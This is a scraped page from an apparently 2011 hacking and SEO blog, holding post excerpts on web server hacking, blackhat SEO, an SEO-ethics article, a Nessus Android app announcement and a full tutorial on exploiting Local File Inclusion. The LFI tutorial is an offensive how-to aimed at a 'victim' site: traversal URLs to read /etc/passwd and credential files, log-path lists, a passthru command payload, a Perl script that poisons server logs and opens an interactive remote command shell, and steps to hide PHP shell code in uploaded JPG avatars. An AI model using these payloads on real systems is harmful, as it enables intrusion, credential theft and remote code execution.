0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">Web servers assume critical importance in the realm of Internet security.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">Vulnerabilities exist in different releases of popular web servers and respective vendors patch these often.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">The inherent security risks owing to compromised web servers have impact on the local area networks that host these web sites, even the normal users of web browsers.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">Looking through the long list of vulnerabilities that had been discovered and patched over the past few years provide an attacker ample scope to plan attacks to unpatched servers.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">Different tools/exploit codes aids an attacker perpetrate web server hacking.</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">Countermeasures include scanning, for existing vulnerabilities and patching them immediately, anonymous access restriction, incoming traffic request screening and filtering.</div></li></ul></div></span></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

Top20 Scan Method : Hacking Web Servers

This method will scan the web server for the top 20 vulnerabilities list published by SANS/FBI ( www.sans.org ) Hacking Tool: WebInspect W...

How to Analysis your website for search engine optimization

10/15/2011 cyb3r.gladiat0r 0

SEO How to Analysis your website for search engine optimization

If Web page has a "0" Google™ PageRank™. PageRank™ denotes a Website's importance in the eyes of Google™. Fact: If you are...

Blackhat search engine optimisation (SEO) techniques Quick guide

10/15/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisSR3so5YGFOudtUBascCdSqLsKztYXKJIK3dvz8L56VvWbF4QY-YVUdgnUzxPsV7pMOSbWqQ6dFyhIDHB7NSx_K_RmaGLRN4jYcCO1bmiowr0UC19lE-dbKg2pItMr5zGF81F8LWapOp2/s1600/blackhat+seo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisSR3so5YGFOudtUBascCdSqLsKztYXKJIK3dvz8L56VvWbF4QY-YVUdgnUzxPsV7pMOSbWqQ6dFyhIDHB7NSx_K_RmaGLRN4jYcCO1bmiowr0UC19lE-dbKg2pItMr5zGF81F8LWapOp2/s1600/blackhat+seo.jpg" /></a></div><br /><b>Blackhat search engine optimisation (SEO) techniques </b>describe the process by which individuals trick the search engines into ranking one of their malicious web pages high up in the search engine result listings.<br /><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="4573832142216931045"> <br />These techniques have been used aggressively by malware authors because they provide a very effective way of controlling user web traffic:<br /><ol><li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  use a kit to create the keyword-rich web SEO pages on popular topics</li><li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  search engine bots then index these pages</li><li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  users searching for these topics end up with links to the rogue SEO pages high up in the search engine results</li><li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  user clicks on one of the rogue links</li><li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  the SEO kit immediately redirects the user to the malicious web site</li></ol>For more details, <a href="http://nakedsecurity.sophos.com/2010/03/31/technical-paper-seo-poisoning-attacks/" style="color: #3778cd; text-decoration: none;"><b>take a look at the technical paper</b></a> published last year.<br /><b><br /></b><div><b>Alternatively, you can watch a YouTube video illustrating an SEO attack in action:</b><br /><div><br /></div><div><object height="390" style="height: 390px; width: 510px;" width="510"></object></div></div><div><br /></div><div><br /></div></span></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

SEO Blackhat search engine optimisation (SEO) techniques Quick guide

Blackhat search engine optimisation (SEO) techniques describe the process by which individuals trick the search engines into ranking one of...

Android Botnet is Latest Botnet: Android botnet over SMS

10/11/2011 cyb3r.gladiat0r 0

Android Botnet is Latest Botnet: Android botnet over SMS

After the numerous botnets over "everything" (botnet over IRC, botnet over skype, botnet over twitter, over facebook... ) , direct...

LFI ( Local File Inclusion ): How to upload SHELL (C99.txt)

10/11/2011 cyb3r.gladiat0r 0

LFI LFI ( Local File Inclusion ): How to upload SHELL (C99.txt)

LFI ( Local File Inclusion ): How to upload SHELL ( C99 .txt ) Continuing to our post Step by Step guide for LFI (Local File Inclusion) : T...

How Internet Marketing Companies FAKE Their Clients

10/10/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-faYwRU8JfYOOX1xmV6ieZhaDulgmVbfnWRciMLsMKihT3lX1UazXOe5wKVOBkNmyFNIUCdCs7l71DyqVryQZMERllS5Vr16GAQyOtsDFcPFNtyafmFUILDIFM1zb2Zr8EBkiFpBQ-Nt5/s1600/Internet-Marketing.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-faYwRU8JfYOOX1xmV6ieZhaDulgmVbfnWRciMLsMKihT3lX1UazXOe5wKVOBkNmyFNIUCdCs7l71DyqVryQZMERllS5Vr16GAQyOtsDFcPFNtyafmFUILDIFM1zb2Zr8EBkiFpBQ-Nt5/s640/Internet-Marketing.jpg" width="640" /></a></div><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;"><br /></h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="5333615289342421226"><div style="text-align: center;"><b>Reality Revealed by Jaswinder Kaur: How Internet Marketing Companies FAKE Their Clients</b></div><br /><div>Popularity of the internet has been rising gradually with the passage of time and every person is looking for search engine for their queries. As Google is the leading the entire search engines market, everyone wants to stay at top in the Google rankings. With the growing reputation of the Google, demand of search engine marketing is also growing. People are following and hiring expert to do the Search engine marketing for their businesses, so that they can promote their business more effectively on Google.</div><div><br /></div><b><div style="text-align: center;"><span class="Apple-style-span" style="font-weight: normal;"><b>Harmful Tactics of Search Engine Marketing</b></span></div><div style="text-align: center;"><span class="Apple-style-span" style="font-weight: normal;"><b><br /></b></span></div></b>Ecommerce companies are using various sloppy tactics to fulfill the requirements of their clients. Due to lack of knowledge and impatience nature of clients, most of the SEM firms are using unethical ways to promote the business of their clients online. Inexperience is the major cause of increased spamming and unlawful marketing practices.<br />Some of the illicit techniques used generally are as follows.<br /><br /><div><b>Link Exchange: </b>Link exchange is the most crucial part of any online marketing campaign. It improves the reputation of our website marketing campaign by getting quality and relevant inbound links. Some of Ecommerce firms are misusing this technique by placing the website link on some irrelevant websites, which are designed especially for link building purpose. These websites are called link farms as they place hundreds of links on a single page which are not even cached and indexed. Most of these links are no follow, broken and irrelevant. At the same time to do bulk link exchange companies put the link on different websites of same IP address just to show the client that there link has been placed on different websites. Theses links are useless because they are counted as a single link by the search engines.<br /><br /></div><div><b>Copied Content:</b> Content is the backbone of a website. It is very important to put original and well optimized content on your website which can be useful for the reader. Companies fool their clients and search engines by using copied content, irrelevant or spun content which is not at all informative for a reader. It harms our website as search engines blacklist our website and don't allow our website to move up in search engines despite our efforts to shoot it's position up in search engines.<br /><br /></div><div><b>Keyword Stuffing: </b>Keywords are the most crucial part of a website. Choosing write keywords can boost the position of your website instantly. Basically it's a balanced combination of keywords and content which is necessary for the success of a website. We have to maintain the density of keywords in the content according to search engine standards. But excessive use of highly competitive keywords in the content makes it illegal way to promote the website in a short span of time. So by boosting the ranking of keywords in the search engine company make their client happy but after some time when search engine catches these culprits they through them down.</div><div><br /><b>Designing Tricks: </b>Designing is the first impression of your website on the visitors. At the same time designing can be misused to play different tricks to increase the visibility and popularity of the website. Some of the most common tricks played by the designers are use of hidden text, cloaking, hidden links, doorway pages and improper redirects.<br /><b><br /></b></div><div><b>Misuse of Web 2.0 and Social Networking:</b> Web2.0 websites are meant for the purpose of sharing knowledge. But today quality of these websites is declining because people are adding irrelevant and copied content to fulfill their purpose. This causes spamming and also degrades the rating of the website. Similarly social networks are designed for the purpose of sharing and promoting the information. These are some of most popular ways to increase the traffic on the website. People are making fake profiles to promote their business profiles on the social networking websites.<br /><br /><b>Search engine marketing</b> was introduced to help people market their business and share their information. But now some webmasters are misusing this concept to get instant success. You can't fool search engines with for a long time with these techniques, so it's better to focus on building your knowledge and using ethical ways to promote the business online instead of using glittering short term un ethical tricks.</div></span></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

SEO How Internet Marketing Companies FAKE Their Clients

Reality Revealed by Jaswinder Kaur: How Internet Marketing Companies FAKE Their Clients Popularity of the internet has been rising gradually...

The Nessus Android App Released Officially for Android OS version 2.2.x and higher

10/08/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;"><br /></h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDzVkzBpxwvqaFPagqbub4AfE42Fe3j9BK1ZcDOAxs6H7z0yk3EDc_FOIllRXaIRQ07ZMJkby1g_nvIBhyphenhyphenKW3g5fkjmsLU5kwkuSkTSonTNNdClsuYLFTvbOv0mn9-x_ARTVuP37gPhxZy/s1600/nessus_android.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="332" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDzVkzBpxwvqaFPagqbub4AfE42Fe3j9BK1ZcDOAxs6H7z0yk3EDc_FOIllRXaIRQ07ZMJkby1g_nvIBhyphenhyphenKW3g5fkjmsLU5kwkuSkTSonTNNdClsuYLFTvbOv0mn9-x_ARTVuP37gPhxZy/s640/nessus_android.png" width="640" /></a></div><span id="8930029885611315256"><b><br /></b><div><div style="text-align: center;"><br /></div><div style="text-align: left;"><div style="text-align: left;">Tenable is pleased to announce the official release of the Nessus Android app! The application can be<a href="https://market.android.com/details?id=com.tenable" style="color: #3778cd; text-decoration: none;"><b> downloaded for free from the Android Market </b></a>and contains the following features:</div><div style="text-align: left;"><ul style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  Connect to a Nessus server (4.2 or greater)</li><li style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  Launch existing scans on the server</li><li style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  Start, stop or pause running scans</li><li style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  Create and execute new scans and scan templates</li><li style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  View and filter reports</li></ul></div><div style="text-align: left;">You will need Android OS version 2.2.x and higher in order to run the app. Following are some screenshots of the application in action:</div><div style="text-align: left;"><b><br /></b></div><div style="text-align: left;"><b>The login screen:</b></div></div><br /><a href="http://blog.tenable.com/.a/6a00d8345495f669e2014e881580ec970d-pi" style="color: #3778cd; text-decoration: none;"><img alt="" border="0" src="http://blog.tenable.com/.a/6a00d8345495f669e2014e881580ec970d-pi" style="background-color: transparent; border: 1px solid transparent; cursor: pointer; display: block; height: 500px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 300px;" /></a><b>Once logged in you can create or launch new scans:</b></div><div><b><br /></b><a href="http://blog.tenable.com/.a/6a00d8345495f669e2014e881581a1970d-pi" style="color: #3778cd; text-decoration: none;"><img alt="" border="0" src="http://blog.tenable.com/.a/6a00d8345495f669e2014e881581a1970d-pi" style="background-color: transparent; border: 1px solid transparent; cursor: pointer; display: block; height: 500px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 301px;" /></a></div><div><div><b>Viewing reports allows you to browse Nessus reports (and even apply filters):</b></div><div><br /></div><a href="http://blog.tenable.com/.a/6a00d8345495f669e201538e21d030970b-pi" style="color: #3778cd; text-decoration: none;"><img alt="" border="0" src="http://blog.tenable.com/.a/6a00d8345495f669e201538e21d030970b-pi" style="background-color: transparent; border: 1px solid transparent; cursor: pointer; display: block; height: 500px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 300px;" /></a></div></span></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

The Nessus Android App Released Officially for Android OS version 2.2.x and higher

Tenable is pleased to announce the official release of the Nessus Android app! The application can be downloaded for free from the Android ...

Firing Techniques for Search Engine Optimization

10/07/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDeMdrjAbTM0z5Kv_Qd37gX-qXyBN95m2xxvfiZsEd7HTFa5YDF8SE7oOwveT5eaF0AQcUjpnyUX2c6RwCoWCDUhf6QiFFJCCk4S4e9_DvKC7n69myzuXmN0hzxxifHNW3AcgyzB9d5d_W/s1600/SEO+firing.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="243" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDeMdrjAbTM0z5Kv_Qd37gX-qXyBN95m2xxvfiZsEd7HTFa5YDF8SE7oOwveT5eaF0AQcUjpnyUX2c6RwCoWCDUhf6QiFFJCCk4S4e9_DvKC7n69myzuXmN0hzxxifHNW3AcgyzB9d5d_W/s320/SEO+firing.jpg" width="320" /></a></div><span id="4596622798339888137"><br /><div><br /></div>Do you have a website in mind that is going to rock the internet world by having millions of visits per day? Then there is an urgent need to implement search engine optimization on your website. There are various tips available on the internet which can drive you crazy. SEO is such a diverse field that things keep on changing every day. The technique which has made you reach the top spot one day can back fire and put you down in search engine results.<br /><br />The latest trend in the internet marketing field is to follow the leaders who have occupied the top spot for a very long time. People even forget to revise the needs and requirements of their website in the pursuit to be the number one. They never hesitate to do the copy book stuff which really shatters the chances of their website going up.<br /><br /><div style="text-align: center;"><b>Now I am throwing a light on some evergreen techniques which will make you the undisputed champion of the Internet Marketing World.</b></div><b><div style="text-align: center;"><br /></div>Keyword Mystery: </b>Keywords power relies not only in the search volume and competition count but how smartly we utilize them to market our business. Sometimes even the keywords with low search volume do the job for us. Let me make it simpler for you, suppose you had a successful online marketing campaign with some specific keywords. According to the human nature, we develop a mindset that if we work with the same set of keywords In the future, then we will be successful again. This is the biggest mistake one can easily make while running an online marketing campaign, as the popularity of keywords varies with time. So the moral of the story is to do detailed research of the keywords and give space to those keywords which have low search volume but are profitable for your business.<br /><br /><b>Power of Link Exchange:</b> There is a common myth regarding link exchange that link exchange is unethical technique to shoot up the ranking of your website. This is totally a misconception because if you have inbound links for your website from relevant and high quality website then more than half of your SEO work is done. Because search engines start giving you respect if you have your links placed on some very reputable websites. The hidden truth about link exchange which webmasters generally ignore is that it indirectly promotes the business as we fall in the chain of link exchanges which helps our affiliate business.<br /><br /><b>Update your SEO inventory: </b>SEO is a very vast field. Everyday new challenges keep on emerging in front of you and to cross these barriers you have to stay updated. Webmasters keep on doing one and the same thing again and again which they think will surely make them successful. We can make the traditional or orthodox methods of SEO more effective and fruitful by including these advanced techniques. It is advisable to learn new things but the most important thing is to experiment with them, so that they can be used effectively for the promotion of the website.<br /><br /><b>Choosing the Most Appropriate Platform: </b>One of the major aspects of SEO on which webmasters generally get confused is, which is the most appropriate platform for a website which can shoot up the business. The most crucial thing is to make a list of all your requirements and depending upon those requirements chooses the best possible platform for your website. With the advancement of technology dynamic platforms like Wordpress, Oscomerce, business catalyst, Magento and Joomla are easily available and have replaced the traditional static platforms which were difficult to customize. So it is better to take expert opinion before choosing a platform for your website as it directly affects the performance of your website.<br /><br /><b>Performance Overview: </b>keeping an eye on the performance of your website is very important. This will tell you about the area which needs improvement. By Regular website testing, we can lower down the website errors such as broken links, functionality errors, graphic errors, compatibility errors etc.</span></div></span></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

SEO Firing Techniques for Search Engine Optimization

Do you have a website in mind that is going to rock the internet world by having millions of visits per day? Then there is an urgent need to...

Step by Step guide for LFI (Local File Inclusion): The process of exploiting a website

10/06/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg3fuYGHuNLzkQJBkoDNSNb9ZcZjc9XLZngYjOduk77MyDAkUr9NpPrUWQSRRnHwZqVeDrSyY0YpDdOoa6lFvXI3g3Of8Aq8zyt2zweNm2a94eClMYi7zjyjq3rbr30SKNjoWGxF6UAhHa/s1600/lfi-3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg3fuYGHuNLzkQJBkoDNSNb9ZcZjc9XLZngYjOduk77MyDAkUr9NpPrUWQSRRnHwZqVeDrSyY0YpDdOoa6lFvXI3g3Of8Aq8zyt2zweNm2a94eClMYi7zjyjq3rbr30SKNjoWGxF6UAhHa/s400/lfi-3.jpg" width="400" /></a></div><br /><br />
This tutorial will guide you into the process of exploiting a website thru the LFI (Local File Inclusion).<br /><br />
<br />
<div class="post-body entry-content" ><span class="Apple-style-span" >First lets take a look at a php code that is vulnerable to LFI:<br />PHP Code:<br />
<div class="command"><code class="prettyprint">$page = $_GET[page];<br />include($page);<br />?></code></div>Now, this is a piece of code that should NEVER be used, because the $page isn't sanitized and is passed directly to the webpage, but unfortunately (or not ) is very common to be find in the www world.<br /><br />Ok, now that we know why is it vulnerable let's start to use this in our advantage. First let's take a look how this give us the ability to "browse" thru the web server. Let's imagine theres a file called test.php inside the test directory, if you type<a href="http://victim.com/test/test.php" style="color: #3778cd; text-decoration: none;">victim.com/test/test.php</a> will retrive that file correct? Ok, but if the php code that we examined was in the index.php we could also retrive that file thru <a href="http://victim.com/index.php?page=test/test.php" style="color: #3778cd; text-decoration: none;">victim.com/index.php?page=test/test.php</a> , see what happened there? Now, if the index.php was in<a href="http://victim.com/test/index.php" style="color: #3778cd; text-decoration: none;">victim.com/test/index.php</a> and the test.php in <a href="http://victim.com/test.php" style="color: #3778cd; text-decoration: none;">victim.com/test.php</a> you will have to type<a href="http://victim.com/test/index.php?page=../test.php" style="color: #3778cd; text-decoration: none;">victim.com/test/index.php?page=../test.php</a> . The ../ is called directory<br />transversal using that will allow you to go up in the directories.<br /><br />Now that we can go up and down thru the server let's use it to access files that we are not supposed to. If this was hosted in a Unix server we can then possibly view the password file of the server, to do this you will have to type something like this (the nr of ../ may vary depending of where the vulnerable file is):<br /><br />Quote:<br /><a href="http://victim.com/index.php?page=../../../../../../../etc/passwd" style="color: #3778cd; text-decoration: none;">victim.com/index.php?page=../../../../../../../etc/passwd</a><br />If you don't know what to do with the content of etc/passwd then continue reading! :puah[1]: The etc/passwd is where the users/passwords are stored, a non shadowed passwd file will look like this:<br /><br />Quote:<br />username: passwd:UID:GID:full_name:directory:shell<br />For example:<br /><br />Quote:<br />username:kbeMVnZM0oL7I:503:100:FullName:/home/username:/bin/sh<br />All you need to do then is grab the username and decode the password. If the passwd file is shadowed then you'll see something like this:<br /><br />Quote:<br />username:x:503:100:FullName:/home/username:/bin/sh<br />As you can see the password is now a x and the encoded password is now in /etc/shadow (you will probably not have access to etc/shadow because is only readable/writeable by root and etc/passwd has to be readable by many<br />processes, thats why you have access to it).<br />You can also sometimes see something like this:<br /><br />Quote:<br />username:!:503:100:FullName:/home/username:/bin/sh<br />The ! indicates that the encoded password is stored in the etc/security/passwd file.<br />Heres a couple of places that may be interesting to "visit":<br /><br /><br />
Quote:<br />
<div class="command"><code class="prettyprint">/etc/passwd<br />/etc/shadow<br />/etc/group<br />/etc/security/group<br />/etc/security/passwd<br />/etc/security/user<br />/etc/security/environ<br />/etc/security/limits<br />/usr/lib/security/mkuser.default</code></div>You will probably need to google for it as this is not the right tutorial to it.<br />Just one more quick thing, its also common to find a vulnerable code like:<br /><br />
PHP Code:<div class="command"><code class="prettyprint">$page = $_GET["page"];<br />include("$page.php");<br />?></code></div>In this case as you can see it will add a .php in the end of whatever you include! So if you type in your browser:<br /><a href="http://victim.com/index.php?file=../../../../../../../../etc/passwd" style="color: #3778cd; text-decoration: none;">victim.com/index.php?file=../../../../../../../../etc/passwd</a><br /><br />it will retrieve:<br /><a href="http://victim.com/index.php?file=../../../../../../../../etc/passwd" style="color: #3778cd; text-decoration: none;">victim.com/index.php?file=../../../../../../../../etc/passwd</a><b>.php</b> that file don't exist, and you will see an error message, so you need to apply the null byte ():<br /><br /><a href="http://victim.com/index.php?file=../../../../../../../../etc/passwd" style="color: #3778cd; text-decoration: none;">victim.com/index.php?file=../../../../../../../../etc/passwd</a><b></b><br /><b></b><br />With the null byte the server will ignore everything that comes after .<br />There are other ways to use the LFI exploit, so continue reading, the REALLY fun is about to begin! :jeerat.gif<br />We will now gonna try to run commands on the server, we will do this by injecting php code in the httpd logs and then access them by the LFI! To do this first find out where the logs are stored, here is some locations that may be useful to you:<br /><br /><br />
Quote:<br/><div class="command"><code class="prettyprint"><br />
../apache/logs/error.log<br />../apache/logs/access.log<br />../../apache/logs/error.log<br />../../apache/logs/access.log<br />../../../apache/logs/error.log<br />../../../apache/logs/access.log<br />../../../../../../../etc/httpd/logs/acces_log<br />../../../../../../../etc/httpd/logs/acces.log<br />../../../../../../../etc/httpd/logs/error_log<br />../../../../../../../etc/httpd/logs/error.log<br />../../../../../../../var/www/logs/access_log<br />../../../../../../../var/www/logs/access.log<br />../../../../../../../usr/local/apache/logs/access_log<br />../../../../../../../usr/local/apache/logs/access.log<br />../../../../../../../var/log/apache/access_log<br />../../../../../../../var/log/apache2/access_log<br />../../../../../../../var/log/apache/access.log<br />../../../../../../../var/log/apache2/access.log<br />../../../../../../../var/log/access_log<br />../../../../../../../var/log/access.log<br />../../../../../../../var/www/logs/error_log<br />../../../../../../../var/www/logs/error.log<br />../../../../../../../usr/local/apache/logs/error_log<br />../../../../../../../usr/local/apache/logs/error.log<br />../../../../../../../var/log/apache/error_log<br />../../../../../../../var/log/apache2/error_log<br />../../../../../../../var/log/apache/error.log<br />../../../../../../../var/log/apache2/error.log<br />../../../../../../../var/log/error_log<br />../../../../../../../var/log/error.log<br /></code></div>Ok, now that you know where the logs are take a look at them and see what they store, at this example we will use a log that stores the "not found files" and the php code . You will then type at your browser <a href="http://victim.com/" style="color: #3778cd; text-decoration: none;">victim.com/</a> and the php code will be logged because it "dosen't exist".<br /><br />This possibly won't work because if you go look into the log you will probably see the php code like this:<br /><br />Quote:<br />%3C?%20passthru(\$_GET[cmd])%20?><br />because your browser will url encode the whole thing! So you'll need to use something else, if you don't have a script of your own you can use this perl script i've wrote:<br /><br />
Code:<br /><div class="command"><code class="prettyprint"><br />
#!/usr/bin/perl -w<br />use IO::Socket;<br />use LWP::UserAgent;<br />$site="<b><a href="http://victim.com/" style="color: #3778cd; text-decoration: none;">victim.com</a></b>";<br />$path="<b>/folder/</b>";<br />$code="";<br />$log = "<b>../../../../../../../etc/httpd/logs/error_log</b>";<br />print "Trying to inject the code";<br />$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "\nConnection Failed.\n\n";<br />print $socket "GET ".$path.$code." HTTP/1.1\r\n";<br />print $socket "User-Agent: ".$code."\r\n";<br />print $socket "Host: ".$site."\r\n";<br />print $socket "Connection: close\r\n\r\n";<br />close($socket);<br />print "\nCode $code sucssefully injected in $log \n";<br />print "\nType command to run or exit to end: ";<br />$cmd = <u></u>;<br />while($cmd !~ "exit") {<br />$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "\nConnection Failed.\n\n";<br />print $socket "GET ".$path."<b>index.php=</b>".$log."&cmd=$cmd HTTP/1.1\r\n";<br />print $socket "Host: ".$site."\r\n";<br />print $socket "Accept: */*\r\n";<br />print $socket "Connection: close\r\n\n";<br />while ($show = <$socket>)<br />{<br />print $show;<br />}<br />print "Type command to run or exit to end: ";<br />$cmd = <u></u>;<br />}<br /></code></div>Copy/paste that, save it as <a href="http://whatever.pl/" style="color: #3778cd; text-decoration: none;">whatever.pl</a> and change what is in <b>bold</b> accordingly to your victim site. If the vulnerable code is in <a href="http://victim.com/main/test.php" style="color: #3778cd; text-decoration: none;">victim.com/main/test.php</a> you should change the /folder/ to /main/ , index.php= to test.php= and the ../../../../../../../etc/httpd/logs/error_log to where the log is at!<br /><br />That script will inject the code and then will ask you for a command to run on the server! You know what to do now! :secret.gif<br />Last but not least we will take a look on how to use the avatar/image upload funtion found in a lot of web aplications.<br />You possibly have seen this in the "Local JPG Shell injection video" at milw0rm, but the best part here that was not mentioned is that the web aplication DOES N'T need to be installed on your victim website!<br /><br />This is a quick explanation, for a better understanding you can view the video at<u><a href="http://www.anonym.to/?http://www.milw0rm.com/video/watch.php?id=57" style="color: #3778cd; text-decoration: none;">http://www.milw0rm.com/video/watch.php?id=57</a></u><br />You need to "insert" the php code you want to execute inside the image, to do this you'll need to use your favorite hex editor or you can use the <u>edjpgcom download</u><a href="http://www.anonym.to/?http://software.security-shell.com/index.php?dir=&file=edjpgcom.zip" style="color: #3778cd; text-decoration: none;">http://software.security-shell.com/i...e=edjpgcom.zip</a>program (all you need to do is right click on the image, open with..., then select the edjpgcom program and then just type the code). Ok now that you have your shell in the image all you need to do is upload it! If your <a href="http://victim.com/" style="color: #3778cd; text-decoration: none;">victim.com</a> has a forum or something else that allows you to upload great, if not check if its in a shared hosting, if so do a reverse lookup on it!<br /><br />Now that you have a list of potential sites that may have a forum or something else that allows you to upload your image all you need to do is take some time to browse thru them until you find one!<br /><br />After you found one and have uploaded your image here is tricky part, you'll need to "create" an error on it (in order to find the server path to it)! Try per example create an mysql error and you will get something like this:<br /><br />Quote:<br />Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in <b>/home/sitefolder/public_html/</b>includes/view.php on line 37<br />If you can't force an error go back to the etc/passwd file:<br /><br />Quote:<br />username:kbeMVnZM0oL7I:503:100:FullName:<b>/home/username</b>:/bin/sh<br />As you can see the username is also the directory name, most of the times the name is similar to the domain name, but if not the case you'll have to try them until you find the one you're looking for!<br /><br />Go to your avatar image right click on it and then properties (write down the path to it), you'll now all set up.<br />In your browser type this (again, the nr of ../ may vary):<br /><br />Quote:<br /><a href="http://victim.com/home/" style="color: #3778cd; text-decoration: none;">victim.com/index.php=../../../../../../../../../home/</a><b>the_other_site_dir</b>/public_html/<b>path_to_your_avatar</b>/avatar.jpg<br />In order "words" should look like this (using fictitious "names"):<br /><br />Quote:<br /><a href="http://victim.com/home/arcfull/public_html/forum/uploads/avatar.jpg" style="color: #3778cd; text-decoration: none;">victim.com/index.php=../../../../../../../../../home/arcfull/public_html/forum/uploads/avatar.jpg</a><br />After you type this you will see the result of the code inserted in the image!</span></span><br /><br />
